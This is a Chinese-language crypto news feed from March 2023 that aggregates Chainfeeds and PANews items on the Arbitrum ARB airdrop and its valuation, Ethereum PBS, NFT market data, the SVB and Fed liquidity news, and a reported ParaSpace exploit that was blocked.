    【英文长推】Arbitrum 与代表性空投对比：为何看好 ARB 的后期走势
    Chainfeeds 导读： Arbitrum 空投落地，代币价格和后续走势成为关注焦点。加密分析师 Flip Research 对比了 Arbitrum 与 Optimism、Uniswap 和 1inch 三大项目代币构成、空投分配、解锁与释放等数据，并根据上述三种代币的价格走势，判断 ARB 代币将在前期经历抛售后迅速反弹并长期上涨。 文章来源： https://twitter.com/Flip_Research/status/1636775536721788928 文章作者： Flip Research 观点： Flip Research：总代币分布情况：ARB 的空投率略微偏高。(注意 OP 到目前为止只分配了空投分配的 1/3)；团队 + 投资者的分配高于 UNI 和 OP，但低于 1INCH；金库分配与同业一致。代币初始分配：ARB 的初始供应量偏高，与 UNI 相似。代币解锁：ARB 解锁相对平稳，特别是在第一年。【原文为英文】 内容来源 Flip Research：基本面：Arbitrum One 已经获得了大量的 TVL / 交易额，作为一个金融应用链而占据了一席之地，作为为数不多的盈利链之一，Arbitrum 仍处于起步阶段。对于 ARB 代币，考虑到：相对较高的初始供应量、第一年的排放量极少以及牛市的时机，我计划持有我的初始空投，并在不可避免的初期下跌趋势中增持。【原文为英文】 内容来源  ( 2 min )
    详解 PBS 机制：对以太坊协议和 MEV 生态有何影响？
    Chainfeeds 导读： 台北以太坊社群发布 MEV 系列文章第二篇，详解了以太坊 Proposer-Builder Separation（PBS）机制的机制设计、抗审查的解决方案，以及对以太坊和 MEV 生态的影响。 文章来源： https://medium.com/taipei-ethereum-meetup/mev-proposer-builder-separation-968d519a4898 文章作者： NIC Lin 观点： NIC Lin：PBS 能减轻 Proposer 负担，Proposer 节点不需保存着 Ethereum 完整的状态。这降低了成为 Proposer 的门槛，让网络更去中心化。未来 Dank-Sharding 或 Sharding 都会让区块容量变得更大，在 PBS 中这些负担是由 Builder 来承担，因此 Proposer 的中心化程度不会受影响。 内容来源 NIC Lin：当把交易排序权都交给 Builder，自然必须要担心 Censorship 的问题。有几个抗审查的设计，包含 Proposer 自己排序部分的交易，但目前比较有共识的是采取 Forward Inclusion List 的做法。 内容来源 NIC Lin：Two Slot PBS 和 Single Slot PBS 是目前 PBS 架构的两种设计，各有优缺点。Single Slot PBS 较简单，但也较中心化，仰赖单一个 Committee 成员需在线且诚实。Two Slot PBS 较去中心化，和 PoS Fork Choice Rule 整合并仰赖多组 Committee 增加安全性但又不需要 Committee 一定要在线，只是缺点是设计较复杂。 内容来源  ( 9 min )
    【英文长推】3 月 NFT 市场回顾：宏观数据、交易平台与衍生赛道
    Chainfeeds 导读： 加密 KOL 0xLoki 发布 2023 年 3 月 NFT 研报摘录，从 NFT 市场宏观数据、交易平台对比以及 NFTfi、NFT 借贷等衍生赛道的数据分析了 NFT 市场的发展。长推包含大量图片与数据，推荐阅读原文。 文章来源： https://twitter.com/Loki_Zeng/status/1636741024629555200 文章作者： 0xLoki 观点： 0xLoki：NFTGo 数据显示 NFT 总市值为 227 亿美元，真正的活跃市场约 59 亿美元市值。市值 10000E 以上的 NFT 集合共 33 个，占据和贡献了 Top200 NFT 的 92% 市值和 63% 的交易额。前 200NFT 中有 98 个市值已经低于历史累计交易成本。92 个系列的周换手率（交易量 / 市值）低于 1%。许多 NFT 都陷入了流动性枯竭的状态。 内容来源 0xLoki：纵向来看，NFT 赛道的快速发展始于 2021 年，迄今总共经历过 4 轮高潮。时间周期上分别对应着本轮牛市第一重顶、Looksrare 和 X2Y2 对 Opensae 的挑战、本轮牛市第二重顶。当前已经进入第四轮，主要驱动力是 Blur 的崛起 + NFTfi 的兴起。在 2023 熊市 ETH NFT 再次占据了绝对主导。非 ETH 链呈现出高交易笔数、低交易价值的特征。 内容来源 0xLoki：NFT 用户以 Holder 和交易为主。当前 NFT 持有者（钱包地址数）约 425 万，其中在过去一年中有交易行为的占 40%，过去一个月有交易行为的占 7%，而 NFT 的借贷、碎片化、衍生品、租赁累计用户数均不超 Holder 数量的 0.2%，不超过月交易用户的 3%。 内容来源  ( 2 min )
    Paradigm 推出数据门户 Paradigm Data Portal，提供区块链公共数据集
    Paradigm 推出数据门户 Paradigm Data Portal，提供区块链公共数据集 Paradigm 推出数据门户 Paradigm Data Portal，旨在为研究人员和工具构建者提供加密数据集。目前该门户提供以太坊合约、ERC20 转账以及 Slots 三项公共数据，未来还将支持更多区块链链上数据集。 内容来源  ( 1 min )
    The Block：Coinbase 考虑推出离岸平台，计划提供加密货币永续合约交易
    The Block：Coinbase 考虑推出离岸平台，计划提供加密货币永续合约交易 据 The Block 引援知情人士报道，加密货币交易所 Coinbase 正在探索推出一个离岸平台，以交易与加密货币相关的永久掉期交易，以交易与加密货币挂钩的永续合约。知情人士称，Coinbase 已经向做市商和交易公司介绍了在离岸司法管辖区推出该平台的计划，该计划旨在打破竞争对手币安对行业的主导。 内容来源  ( 218 min )
    Uniswap「在 Avalanche 上部署 Uniswap V3」提案投票已通过，预计 5 周完成部署
    Uniswap「在 Avalanche 上部署 Uniswap V3」提案投票已通过，预计 5 周完成部署 Uniswap 关于「在 Avalanche 上部署 Uniswap V3」链上投票已通过，支持率为 95.08%。该提案称考虑到 Uniswap V3 核心代码版权商业保护将于 4 月 1 日到期，因此，Uniswap V3 决定在 Avalanche 上抢先部署。提案还建议使用 LayerZero 作为以太坊和 Avalanche 之间的跨链消息传递方案。链上投票完成后，预计需要大约 5 周时间完成合约部署。 内容来源  ( 33 min )

  • Open

    Coinbase：正在与客户商谈开发新的海外（交易）平台
    PANews 3月17日消息，据金十报道，加密货币交易所Coinbase表示，正在与客户商谈开发新的海外（交易）平台。  ( 4 min )
    YouTube解除对特朗普频道的限制
    PANews 3月17日消息，据Axios报道，YouTube 将于周五解除对前总统特朗普频道的限制。特朗普的 YouTube 频道“不再受到限制，上传新内容的能力也将恢复。”YouTube 最初于 2021 年 1 月暂停了特朗普的帐户，因为他的帐户违反了发布煽动暴力呼吁的内容的政策。 在暂停两年后， Meta上个月恢复了特朗普的 Facebook 和 Instagram 帐户。在马斯克成为新东家后，推特也恢复了特朗普的账户。  ( 4 min )
    Uniswap V3部署至Avalanche提案投票已通过，计划于5周内完成部署
    PANews 3月17日消息，Uniswap关于“Uniswap V3部署至Avalanche”提案已经通过热度检查（Temperature Check）投票，支持率达91.26%。由于Uniswap V3核心代码版权商业保护（BSL）将于4月1日到期，届时将会拥有诸多项目复制Uniswap V3并分叉代码用于商业目的的合法权利，因此将提前在Avalanche上部署，以确保Uniswap抢占Avalanche DEX市场，并与Avalanche上DEX Trader Joe竞争，合约部署预计需5周时间完成。  ( 4 min )
    币安将SAFU基金中的BUSD兑换成TUSD与USDT
    PANews 3月17日消息，币安公告称，已将用户安全资产基金（SAFU）中持有的 BUSD 兑换成 TUSD 与 USDT，以确保 SAFU 中的资产在 BUSD 市场持续下降的情况下长期保护用户。币安表示，SAFU 基金将受到密切关注，以确保其资本充足，并在必要时使用币安自有资金定期补充资金。  ( 4 min )
    PA日报｜以太坊主网将于4月12日进行上海升级；ParaSpace挽救2900 ETH资产
    今日要闻提示： 美国FDIC否认将要求Signature Bank的买家剥离其加密业务的报道 以太坊主网将于4月12日进行上海（Shapella）升级 Space ID总供应量的10%预留给社区空投，三日内公布空投细节 OpenAI CEO旗下加密项目Worldcoin拟于今年上半年启动主网 V神建议使用社交恢复钱包和多签钱包实现加密资金自托管 BlockSec：已阻止对ParaSpace的一起攻击，挽救2900 ETH资产 微软将OpenAI的聊天机器人技术引入Office应用程序 Coinbase：质押验证者在2022年的收入估计为30亿美元 监管消息 美国FDIC否认将要求Signature Bank的买家剥离其加密业务的报道 据CoinDesk报道，美国联邦存款保险公司（FDIC）否认路透社关于其将要求Signature Bank的任何购买者剥离其加密业务的报道。 FDIC的一位发言人援引该机构的决议手册表示，“在银行的所有资产被出售和对银行的所有索赔得到解决，以及收购者决定他们的投标条件之前，接管不会结束。”收购方将告诉联邦存款保险公司“它愿意从破产银行获得哪些资产和负债”。 该发言人还提到了FDIC、货币监理署和美联储发表的两份联合声明，其中指出银行“既不禁止也不阻止”向任何赛道提供服务。据路透社报道，FDIC现在正寻求拍卖Signature和硅谷银行，可能在本周末前完成。 NFT NFT交易平台OpenSea引入自助Drops代理合约 NFT交易平台OpenSea宣布引入自助Drop（Self-serve Drops）代理合约，预计可节省90%的Gas费用，创作者可以使用新代理合约或标准合约。 Coinbase NFT推出创作者中心“Creator Hub” Coinbase NFT在社交媒体宣布推出创作者中心“Creator Hub”，旨在简化启动NFT集合和构建Web3社区的过程。“Creator Hub”将扮演创作者工具一站店的角色，用户使用这些工具只需三步即可启动NFT藏品，包括选择合约、铸币偏好、以及自定义图像、描述、定价和铸币时间，然后添加钱包即可在市场上列出。此外，创作者中心还可以帮助用户创建Discord机器人来追踪NFT销售情况、查询下载NFT持有者明细列表，以及在个人网站上嵌入NFT藏品并创建代币门控体验。 BlockSec：已阻止对ParaSpace的一起攻击，挽救2900 ETH资产 安全公司BlockSec在推特上表示：“其已经阻止了对NFT借贷协议ParaSpace的一起攻击，挽救了2900 ETH资产，希望ParaSpace官方尽快与其取得联系。” ParaSpace称，协议的总损失大约是50-150枚ETH，因利用过程中代币之间交换的滑点造成。 此前今日早些时候消息，ParaSpace以发现可疑交易为由暂停该协议；随后ParaSpace称提供给协议的NFT都是安全的，并且没有被清算。0xscope表示，ParaSpace黑客因gas估算错误攻击失败，并问Blocksec索要其0.71枚ETH。 元宇宙 微软将OpenAI的聊天机器人技术引入Office应用程序 据金十报道，市场消息：微软(MSFT.O)将OpenAI的聊天机器人技术引入Office应用程序。Word、Excel及Powerpoint应用程序将加入AI助手功能。 项目动态 以太坊主网将于4月12日进行上海（Shapella）升级 据CoinDesk报道，以太坊核心开发者在电话会议中确认于 4 月 12 日在以太坊主网进行上海（Shapella）升级，该升级将启用质押的 ETH 提款，待 GitHub 上的开发人员确认日期，该日期将固定不再改变。 今日晚些时候消息，币安将在Shapella升级后一周内支持ETH2.0质押提现。 Space ID总供应量的10%预留给社区空投，三日内公布空投细节 去中心化域名协议 SPACE ID 宣布推出治理代币 ID，并将在币安 Launchpad 上进行公售，代币分发将于 2023 年 3 月 22 日 18:00 开始。ID 将有质押、支付、治理功能，代币总供应量为 20 亿枚，总供应量的 5% 分配给 Binance Launchpad 参与者，总供应量的 10% 预留给社区空投，21%的社区空投（占总供应量的2.1%）将有资格在币安交易时为所有尝鲜SPACE ID的用户申领。早期使用者的快照已拍摄，空投分发细节将在三日内公布。 市场消息：硅谷银行（SVB）在纽约申请第11章破产保护 据金十报道，硅谷银行（SVB）在纽约申请第11章破产保护。 Genesis资产拍卖截止至6月27日，投标人必须在5月5日之前表现出兴趣 据CoinDesk报道，法庭文件显示，破产加密借贷平台 Genesis 已要求债权人在 5 月 22 日截止日期前说明公司欠他们多少钱，并要求在 6 月 27 日截止日期进行拍卖。考虑购买 Genesis 的投标人必须在 5 月 5 日之前表现出兴趣。该计划由该公司提交给纽约南区一家破产法庭批准。 此次出售将包括贷方 Genesis Global Capital 和 Genesis Asia Pacific，以及 Genesis Global Trading，后者尚未申请破产。 融资消息 彭博社：Bitcoin Opportunity Fund正寻求筹资1亿美元 据彭博社报道，Bitcoin Opportunity Fund正寻求筹资1亿美元。该基金由包括管理合伙人James Lavish、David Foley和Cory Klippsten在内的六位投资者领导，将投资与比特币相关的公共和私人公司。该团队表示，他们将自己净资产的很大一部分投入到了该基金。 美联储贴现窗口借款暴增，总量超过2008年金融危机时期 据证券时报报道，最近一周，美国银行业通过两个信贷安排工具总计从美联储借出1648亿美元，凸显出在硅谷银行倒闭后资金面正在日趋紧张。美联储公布的数据显示，截至3月15日的一周，美联储通过贴现窗口贷出的资金达到创纪录的1528.5亿美元，高于前一周的45.8亿美元。上一个纪录高点是在2008年金融危机时创下的1110亿美元。 数据还显示， 美联储上周日推出的银行定期融资计划共贷出资金119亿美元。从这几个数字可以看出美国银行体系仍然脆弱，尚未完全走出硅谷银行和Signature Bank倒闭后存款资金搬家的困境。当周其他贷款余额总计1428亿美元，反映出联邦存款保险公司对硅谷银行和Signature Bank的过渡银行所提供的贷款。 据悉，贴现窗口是美联储所采用的一种机制，即向合格银行发放短期贷款以维持其现金流动性。 今日晚些时候消息，美联储资产负债表单周增长近3000亿美元，为自疫情以来最大周增幅。 OpenAI CEO旗下加密项目Worldcoin拟于今年上半年启动主网 据The Block报道，OpenAI首席执行官Sam Altman创立的加密货币公司Worldcoin计划在今年上半年启动主网。据两位知情人士透露，Worldcoin正在与总部位于佛罗里达州的全球制造巨头Jabil 合作，将2021年首次亮相的便携式虹膜扫描设备的生产外包，以提高其虹膜扫描球体的产量。 据悉，Worldcoin计划向全球每个人发行一种全球化的数字货币，并通过其开发的一种球形装置扫描虹膜来构建一个独特的个人识别码，使得每个人获得的数字货币具有独特性，该代币计划于今年上半年推出。据其网站称，该项目迄今为止已有近120万注册用户。此前2月消息，Worldcoin拟以30亿美元估值融资至多1.2亿美元。 V神建议使用社交恢复钱包和多签钱包实现加密资金自托管 以太坊联合创始人V神（Vitalik Buterin）发文称，自托管非常重要，社交恢复钱包和多重签名钱包是实现这一目标的好方法。他自己使用多重签名钱包来存储大部分资金，以太坊基金会也是如此。一旦社交恢复钱包变得足够成熟，Vitalik的建议是将社交恢复钱包用于存储个人或组织一小部分资金的热钱包，以及将多重签名用于存储个人或组织储蓄的冷钱包。 Arbitrum社区经理：Odyssey活动将重启 Arbitrum社区经理在官方Discord社区发布公告表示，Odyssey活动将重启。 此前消息，2022年6月，Arbitrum宣布Odyssey活动将暂停，在Nitro发布后恢复。 赵长鹏建议加密公司保持1:1储备、收取透明的费用以及保持业务简单等 币安CEO赵长鹏在推特上发表其对加密公司的建议：“1.保持1:1的储备，问题会消失；2.不要为了赚钱而借钱给客户，让风投来做；3.要实现收入，可对你的服务收取透明的费用，比如促进交易。5.如果交易成本太高，就使用区块链技术降低成本。”赵长鹏对上述进行了一句话的总结，即“保持业务简单”。 重要数据 数据：Republic Capital将2450万枚MATIC转入Coinbase 据Spot On Chain监测显示，Republic Capital将2450万枚MATIC（约合 2720 万美元）转入Coinbase，转入Coinbase时MATIC价格为1.11美元。据悉，Republic Capital作为Polygon去年年初4.5亿美元私募融资的投资者之一，作为资产归属的一部分，于2023年1月18日从Polygon Ecosystem Growth收到该笔资产。 Coinbase：质押验证者在2022年的收入估计为30亿美元 加密交易所Coinbase发推文称：“质押使支付处理民主化。在今天的金融系统中，单笔信用卡交易可能只需要几秒钟，但它依赖于许多第三方来处理、验证、接受或拒绝，并最终从银行转账以完成支付。公开数据显示，仅在美国，这些支付处理商在2022年收取的费用就超过5000亿美元。它不仅昂贵。我们现有的支付基础设施也更加耗能，并且容易出现安全漏洞。想象一下，如果不是大公司通过支付基础设施运营和赚钱，而是通过质押，普通人可以从中赚取收入。2022年，质押验证者的收入估计为30亿美元。” Coinbase还表示，超1.8万名开发者于Base测试网上线首周部署超5.5万个智能合约。  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.17）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    市场消息：硅谷银行（SVB）在纽约申请第11章破产保护
    PANews 3月17日消息，据金十报道，市场消息：硅谷银行（SVB）在纽约申请第11章破产保护。  ( 4 min )
    美元走弱，BTC走强
    撰文：Peter Jonas，Foresight Ventures 货币流动性正在改善。美国 2 月 CPI 数据为 6% 符合预期，2 月工业端 PPI 意外下降，预示 3 月零售端 CPI 较好，通胀压力大幅减轻。硅谷银行等多家银行破产，美联储发现自己需要将金融稳定置于通胀之上。市场押注美联储 3 月加息 25 个基点概率 75%，不加息概率 25%，下半年可能会提前降息。这证实了过去的市场底部，新的流动性开始溢出到加密市场只是时间问题。 2、全市场行情 市值排名前 100 涨幅榜： 本周市场波动上涨，BTC 统治率上升，行情走势健康。币安交易所逐渐退出稳定币 BUSD，会将 10 亿美元的 BUSD 基金买入 BTC、ETH 和 BNB。市场热点主线集中在 BTC 及其生态，香港概念，人工智能。 3.1 链上数据 越来越多的 BTC 由较小的散户持有。小于 10 个 BTC 的持有量比 22 年多 2.3 倍。而巨鲸、矿工和交易所的持有量则经历了最大规模的收缩。大于 1000 个 BTC 的巨鲸群体目前持有 664 万 BTC，相当于流通量的 34%。 资金面暂时还不能乐观。由于美国硅谷银行破产，导致 USDC 和 DAI 等主流稳定币脱锚，BUSD 由于美国监管也逐渐退出，未受波及的 TUSD 和 USDT 的市占率快速提升。其中 TUSD 对欧洲用户更加友好，过去一个月市值增长 115%，成为 BUSD 的主要替代品。 长期趋势指标 MVRV-ZScore 以市场总成本作为依据，反映市场总体盈利状态。当指标大于 6 时，是顶部区间；当指标小于 2 时，是底部区间。MVRV 跌破关键水平 1，持有者总体上处于亏损状态。当前指标为 0.34，脱离了绿色抄底区间。 3.2 期货行情 期货资金费率：本周费率由负转正，处于正常水平。费率 0.05-0.1%，多头杠杆较多，是市场短期顶部；费率 -0.1-0%，空头杠杆较多，是市场短期底部。 期货持仓量：本周总持仓量大幅增长，市场主力进场建仓。其中市场主力相对于 ETH，更看好 BTC。 期货多空比：1.5。市场情绪正常。散户情绪多为反向指标，0.7 以下比较恐慌，2.0 以上比较贪婪。多空比数据波动大，参考意义削弱。 3.3 现货行情 本周 BTC 大幅上涨，突破了去年 6 月以来的 25200 关键阻力位，可能进入周线级别上涨。宏观方面，美联储政策由鹰转鸽，下半年降息是大概率事件。不过当美国一旦陷入经济衰退，市场还是会陷入令人生畏的短期调整。我们看到了近期的市场动荡，但正是在这样的时刻，我们才想起为什么 BTC 会诞生于 2008 年的危机中。 2.各公链 TVL 占比情况 本周 TVL 略微回升，上涨～2b。但是 Ethereum 及 layer2 的主流公链仍在下跌，从近七日的数据看，在 Layer2 公链中，Polygon 下跌 4.04%，Arbitrum 下跌 5.12%、Optimism 下跌 1.14%、Avalanche 跌幅达 14.79%。其中，看近 1 天的情况，收到空投消息的影响，Arbitrum 有 5.96% 的回升。 3.1 ETH 锁仓量情况 3.2 BSC 锁仓量情况 3.3 Tron 锁仓量情况 3.4 Avalanche 锁仓量情况 3.5 Polygon 锁仓量情况 3.6 Arbitrum 锁仓量情况 3.7 Optimism 锁仓量情况 4. ETH Gas fee 历史情况 当前链上转账费用约为 0.6 美元，Uniswap 交易费用约为 5.54 美元，Opensea 的交易费用约为 2.15 美元。近几周 gas fee 持续保持在底部区间，市场活性的调动仍然缺乏热点。从 gas 消耗看，Uniswap 和 Blur 占据头部位置。 5.1 NFT 指数市值： 5.2 NFT 市场交易概览： 5.3 NFT 市场交易占比： 5.4 NFT 买入地址分析： 本周 Blur 的热度全面超越 Opensea，从 volume 看能占据市场～70% 的份额。本周 NFT 市场交易无明显热点，但从近七日看，蓝筹项目的地板价都在下跌，Cryptopunck 下跌 15%，BAYC 的地板价下跌 1.6%，MAYC 下跌 5.94%，Doodles 和 Moonbirds 的下跌都超过了 30%。同时可以看出 NFT 买方数量在上周剧烈上涨之后有所回调，但仍然在一个较高的水平。虽然近两周买方进场数量明显上升，但从长期看仍然没有回到 2 月底时的高点。  ( 6 min )
    ParaSpace：协议的总损失大约是50-150枚ETH，因利用过程中代币之间交换的滑点造成
    PANews 3月17日消息，NFT借贷协议ParaSpace在推特上表示，已经确定了早期在 ParaSpace 协议上发生的漏洞利用的原因，ParaSpace 上的所有用户资金和资产都是安全可靠的。没有 NFT 受到损害，协议的经济损失也很小。能够挽救利用者试图从协议中提取的 2,909 ETH。该协议的总损失大约是最小的 50 - 150 ETH 损失，这是由于在利用过程中利用者在代币之间交换造成的滑点。ParaSpace 将把这些资金偿还到协议中，确保没有资产丢失。团队目前正在修补已识别的漏洞，将在此期间暂停协议。一旦使用 Secure3 重新审核了平台，将恢复协议功能。 将在今天晚些时候与社区和用户一起举办 2 个 Twitter Space，讨论漏洞、问题和后续步骤。将提供一个时间表，说明何时可以尽快在主网上恢复协议。将在今天晚些时候发布关于攻击和协议安全增强信息（包括大额提款的时间锁）的完整事后分析。 今日早些时候，BlockSec阻止对ParaSpace的一起攻击，挽救2900 ETH资产。  ( 4 min )
    Genesis资产拍卖截止至6月27日，投标人必须在5月5日之前表现出兴趣
    PANews 3月17日消息，据CoinDesk报道，法庭文件显示，破产加密借贷平台 Genesis 已要求债权人在 5 月 22 日截止日期前说明公司欠他们多少钱，并要求在 6 月 27 日截止日期进行拍卖。考虑购买 Genesis 的投标人必须在 5 月 5 日之前表现出兴趣。该计划由该公司提交给纽约南区一家破产法庭批准。 此次出售将包括贷方 Genesis Global Capital 和 Genesis Asia Pacific，以及 Genesis Global Trading，后者尚未申请破产。这三者都隶属于 Digital Currency Group（DCG），DCG 还拥有 CoinDesk。 上月报道，Genesis公布资产出售拟议计划，资产将被“股权化”。  ( 4 min )
    视频｜美联储放水2万亿美元！GPT4再创AI传奇｜以太坊上海升级定于4月12日
    PANews PARTY AWARD 2023 年度评选投票 https://www.panewslab.com/party/2023/vote 00:00 内容预告 00:34 Meta将终止NFT的支持 01:34 以太坊Goerli测试网已激活Shapella升级 02:06 Filecoin虚拟机FVM已在主网上线 02:39 美国必须决定是否支持加密创新者 03:22 OpenAI推出ChatGPT-4 04:05 PANews PARTY AWARD 2023 年度评选投票  04:24 借贷协议Euler Finance遭到攻击 04:57 币安行业复苏基金内剩余资产从BUSD换为BTC、BNB和ETH等 05:45 美国2月未季调CPI年率6% 06:12 硅谷银行破产 07:31 2万亿美元的流动性 08:34 好文分享 文章分享： 1. 三家加密友好银行倒下，美国还剩下哪些加密友好型银行？ https://www.panewslab.com/zh/articledetails/hrxwhmq6.html  ( 4 min )
    全市场眼下最期待的两件事：美联储宽松+这周末不要再有银行出事了
    来源：华尔街见闻 作者：葛佳明 在这一周内，全球金融市场的“伤口”加速流血，有什么治愈伤口的办法吗？全市场都期待着下周的“鸽派”美联储和这个周末不再暴雷的稳定金融市场。 瑞银分析师在3月16日的研究报告中表示，他们跟踪的大型银行运营状况仍然稳健，“没什么可担心的”，在危机中，银行的估值的变化往往反映出“系统压力”，而不是基本面的问题。 瑞银认为，现阶段有三个重要因素能帮助银行业从目前的问题中恢复过来。第一，必须让市场相信，针对瑞信有一个“可接受的解决方案”；第二，“针对被市场认为更容易受到挤兑风险的中型地区银行提供解决方案 ”；第三，在本周末及下周内不再有美国的银行倒闭。 因银行业风波和市场动荡，衰退恐惧四起，美联储加息预期大大降温。 瑞银在最新的报告中指出，尽管硅谷银行倒闭远没有2008年金融股危机的风险这么可怕，但资金面骤然紧张，美联储降息将是稳定银行业的大势所趋： “我们认为，过去几天发生的事件加剧了资金紧缩，这应该会传导到实体经济。” 在截至3月15日的一周内，美联储最后一道流动性工具即贴现窗口下的借款激增，至1528.5亿美元创下历史新高，高于前一周的45.8亿美元，甚至超越了2008年金融危机期间创下的单周1480亿美元的最高纪录。 美联储贴现窗口借款暴增凸显出，美国银行系统仍处于危机之中，同时也意味着量化紧缩（QT）似乎名存实亡。分析认为，这周美联储采取的行动毫无疑问地显示出，美联储的量化紧缩已经结束，只要银行的存款外流继续，美联储的资产负债表就会继续扩大。 周三，前波士顿联储主席Eric Rosengren在社交媒体上表示，美联储的加息周期应该暂停： 金融危机造成需求破坏，银行减少信贷可用性，消费者推迟消费，企业推迟支出。加息应该暂停，直到可以评估需求遭到破坏的程度。 仅一周，市场对美联储加息路径出现“惊天逆转”，期货市场交易预测美联储有望在7月前开始降息。周三，市场认为到年底，美联储将利率降至4%以下的可能性接近70%。而几天前，当美联储主席鲍威尔在国会听证会上暗示3月可能加息50个基点时，投资者一度认为今年年底利率峰值将会达到5.6%。 被视为“美联储喉舌”、有“新美联储通讯社”之称的华尔街日报记者Nick Timiraos在最新的文章中指出，美国银行业的危机可能只是个开始，如果融资市场出现更严重的崩溃，美国国债出现崩盘，可能会使美联储的加息决定更加困难： 去年9月，英国央行面临一场由政府债券收益率上升引发的危机，而英国国债债券收益率上升反过来又引发了这些债券的大量抛售，从而压低了价格并进一步推高了收益率。英国央行当时面临“死亡循环”，而现在如果美债市场崩盘，美联储的遭遇可能会比英国央行更为复杂。 欧美金融市场在这一周内不断暴雷，从美国硅谷银行“闪电式”倒闭，到欧洲百年大行瑞信“摇摇欲坠”，再到美国最大的经纪公司——嘉信理财，遭遇半年来最大流出，整个银行业风雨飘摇，银行股全周表现不佳。 本周二，三大国际信用评级机构之一穆迪（Moody’s Investors Service）宣布，将整个美国的银行系统评级展望从稳定降至负面。这一行动可能影响个体银行的债券评级，进而导致银行业的借款成本增加，使银行业的前景雪上加霜。 但道富银行首席执行官Ron O’Hanley周三表示，穆迪下调美国银行体系展望是“严重反应过度”。他表示，在三家银行倒闭后，监管机构已经安抚了市场，出现问题的银行有其自身的特殊性： 从资产和负债端都可以看出其特殊性，我认为评级机构以下调整个行业的评级，对于稳定金融市场于事无补。 信用评级机构Fitch Ratings在周三发布的声明中表示，硅谷银行的影响无疑已经蔓延至全球金融业，“体现了金融体系相互关联”，但这些影响“从评级的角度来看尚不具有实质性意义。” 标普全球在周三的一份报告中表示，这些上市的金融公司违约的风险仍然较低： 根据我们的统计数据来看，金融行业1008家上市公司的违约概率并未大幅上升，仅从10天前的 0.6%上升至3月13日的 0.8%。 与此同时，昨日，美银、花旗、摩根大通、富国银行等11家大行发布联合声明，在第一共和银行存入合计300亿美元无保险存款，确认了稍早媒体所说的300亿美元注资金额。美股指和银行业指数进一步走高。标普和纳指双双创1月公布12月非农就业薪资增长超预期放缓以来最大日涨幅。 泛欧股指也在传出第一共和银行有望获资助后转涨，收盘前涨幅扩大到1%以上，走出今年内低谷。  ( 4 min )
    ARB代币合理估值是多少？与Optimism进行对比分析
    原文：《一文解读 Arbitrum 的空投价值》 作者：Biteye 核心贡献者 Lucky 编辑：Biteye 核心贡献者 Crush 3 月 16 日晚，Arbitrum 基金会宣布发布其治理代币 ARB，开启空投查询，正式公布了其代币经济模型。 空投查询地址： https://arbitrum.foundation/ Arbitrum 与 Optimism 都是 Optimistic rollup 方案，同时 OP 代币在 2023 年的价格从底部的 0.95 涨到了 2.95，可以说是整个加密市场中表现最好的代币之一。 那么 OP 的竞争对手 Arbitrum 的价格在上线后究竟有哪几种可能呢？用户手中空投究竟值多少钱呢？我们要怎么去估算才比较合理？ 本文将从以下几个维度进行对比来尝试判断什么样的价格是合适的： 1、估值对比 2、业务数据与收入对比 3、生态情况对比 01、估值对比 市值对比详情可见下表；在市值对比中，我们用的是锚定总市值 (流通市值)/ TVL 比率的思路来估算 Arbitrum 的市值，最后得出的结果在 1.2-2 之间。 但需要注意的是，Op 本身的市值就是在波动的，因此若在领取 ARB 空投时大盘并不稳定开始走熊时，则 OP 的市值也会有一定的下降，此时$ARB 的保守价格也会随之下降。 而从收入的角度来判断两条公链的估值时，我们可以发现，由于目前 Arbitrum 生态中的整体基本面都远好于 OP，所以根据这个维度得到的 ARB 价格会比第一种方式高了近 2 倍。 对于该种情况我们持有谨慎态度，因为在加密市场中，基本面的因素并不是影响价格的最主要因素； 其次目前 Arbitrum 上的收入很大一部分是来源于撸毛群体，当空投过后，生态中的活跃用户数预计会有一定的下滑，因此在对于收入维度中得到的$ARB 价格我们持保守态度，仅供参考。 若考虑到后续生态活跃用户数可能的下滑，或许在原价格上乘以一定的权重会更加合理（在表格中我们取了 0.5 的权重）。 同时需要注意的是，若从市场博弈的角度来看，当市场对 ARB 价格若有较大的分歧，可能空投砸盘的区间也会比较宽泛。 但是若市场对 ARB 的价格分歧较小，则在该区间内的砸盘可能会比较密集，从而走出低于市场预期的价格。 尤其在考虑到 OP 空投发币时仅发了总量的 1%。而 Arb 空投了 11.62%，在初始上线的砸盘力度上，$ARB 可能在刚上线之初较难走高。 而对于想参与这一波 ARB 上线热潮的玩家来说，在 Uniswap V3 组 LP 吃手续费可能也是不错的选择。 首先我们来看看 Arbitrum 与 OP 每周的收入情况，如下图所示，近一个月 Arbitrum 的每周收入在$90k-$300k 之间，而 Optimism 的每周收入在 60k-120k 之间。 具体的数值对比如下表所示，可以看出，Arbitrum 在收入从各个维度上是都是略高于 Optimism 的。 （Souce: token terminal) 除了公链收入以外，我们再来看看 Arbitrum 上的每日交易笔数与活跃地址数的对比。 如下 Dune 面板所示，过去三个月里 Arbitrum 生态中的交易笔数远大于 Optimism。Arbitrum 上的交易笔数约为 OP 的 2-3x，其中有其生态中的爆火游戏 Beacon 的影响，也有 GMX 这类 Top 级协议的带动。 活跃地址数的走势与交易笔数类似，过去一个月 Arbitrum 上的活跃地址数量为 OP 的 2-3x。 但是考虑到$ARB 代币预期已经被释放后，Arbitrum 上的交易笔数和活跃用户数可能会有一定的下降，参考下图 OP 在发币后的链上交易笔数走势。 03、公链的生态情况对比 从下图 Defillama 的排行中我们可以看出，目前 Arbitrum 上的协议数量为 234 个，Optimism 上的为 113 个，是 OP 生态的两倍。 过去一个月两者的 TVL 都上涨了近 20%，没有显著差别；而从 TVL 来看，Arbitrium 上的 TVL 目前为$1.71b，OP 为$0.94B，前者是后者的 1.82 倍。 从生态内协议的采用度来看： TVL 过$10M 的协议，Arbitrum 生态中有 28 个，而 OP 有 19 个； TVL 过$100M 的协议，Arbitrum 生态中有 4 个，OP 有 2 个； 可以看出，Arbitrum 生态中无论是协议数量，还是采用度高的，TVL 高的协议数量，Arbitrum 都比 Op 生态发展得更胜一筹。 从开发者部署情况来看： 如下图的 DUNE 数据显示，过去 90 天内在 Arbitrum 上部署的合约数量在 50k-100k 之间，而 OP 部署的合约数量在 10-30k 左右，长期来看，更多开发者的入驻对 Arbitrum 是更为有利的。 从两者的用户留存率来看： Arbitrum 与 Op 相当，留存率均在 30% 左右波动，并未有明显差异。 本文估算了 Arbitrum 的市值，比较了 Arbitrum 和 Optimism 的估值、业务数据与收入、生态情况等方面。 